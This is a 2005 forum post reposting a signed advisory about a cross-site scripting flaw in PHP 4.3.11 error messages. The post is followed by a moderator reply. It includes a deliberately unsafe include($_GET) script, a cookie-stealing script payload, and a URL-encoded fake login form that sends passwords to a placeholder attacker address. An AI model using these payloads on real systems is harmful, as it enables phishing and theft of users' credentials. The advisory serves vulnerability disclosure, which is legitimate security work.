Waraxe IT Security Portal

cXIb8O3 · Active user

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 28.5.2005
from securityreason.com TEAM

- --- 0. Bug in PHP 4.3.11 display_error. ---

This bug can be danger, because someone can do xss and Phishing attack.
Problem exist in display_errors..

Example php script:

<?php
include($_GET['varible']);
?>

and now request is

?varible=XXX

so can we see any error.

- ---
Warning: main(XXX): failed to open stream: No such file or directory in
/www/dupa.php on line 2

Warning: main(): Failed opening 'XXX' for inclusion (include_path='.:')
in /www/dupa.php on line 2
- ---

Normal. But now varible have for example <h1>SR</h1>
And error messages is:

- ---
Warning: main(
SR
): failed to open stream: No such file or directory in /www/dupa.php on
line 2

Warning: main(): Failed opening '<h1>SR</h1>' for inclusion
(include_path='.:') in /www/dupa.php on line 2
- ---

So XSS...

Danger can be tag <script> <iframe>, because you can see cookies etc.
For example.

?varible=<script>alert(document.cookie);</script>

And have you cookies from this domain!

This XSS is critical, because exist in display_error and hacker can do
XSS and Phishing attack.
For example, if this bug exist in a Bank site... hacker can create
<FORM> or mirror site...

- --- 1.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot]
com
GPG-KEY: securityreason.com TEAM
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmIWvznmvyJCR4zQRAuqtAKCcyXWQnMdPvCn+6+npQiGEbXvAZwCgq172
+J8w9EzGFE49sXxP1MPbSfI=
=QksY
-----END PGP SIGNATURE-----

for example

http://SENSOR/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=%3CP%3E%3Cfont%20color=red%3E%3CP%3E%3Ch1%3EWARNING!%20SYSTEM%20ERROR%3CBR%3EPlease%20login:%3C/h1%3E%3C/font%3E%3Cfont%20size=-4%3E%3C/center%3E%20%3CFORM%20METHOD=POST%20ACTION=mailto:haker@blabla.pl%3E%3CP%3ELOGIN:%3CINPUT%20TYPE=text%20NAME=login%20SIZE=9%3E%3CP%3EPASSWORD:%3CINPUT%20TYPE=password%20NAME=passwd%20SIZE=9%3E%3CP%3E%3Cinput%20type=submit%20name=go%20value=Login%3E%3C/form%3E%3Cfont%20color=white%3E

this problem exist if html_errors is On or Off...

LINUX · Moderator

yes is XSS + full path you example work nice

i remove you original link example. (plz not add links for test xpl or errors)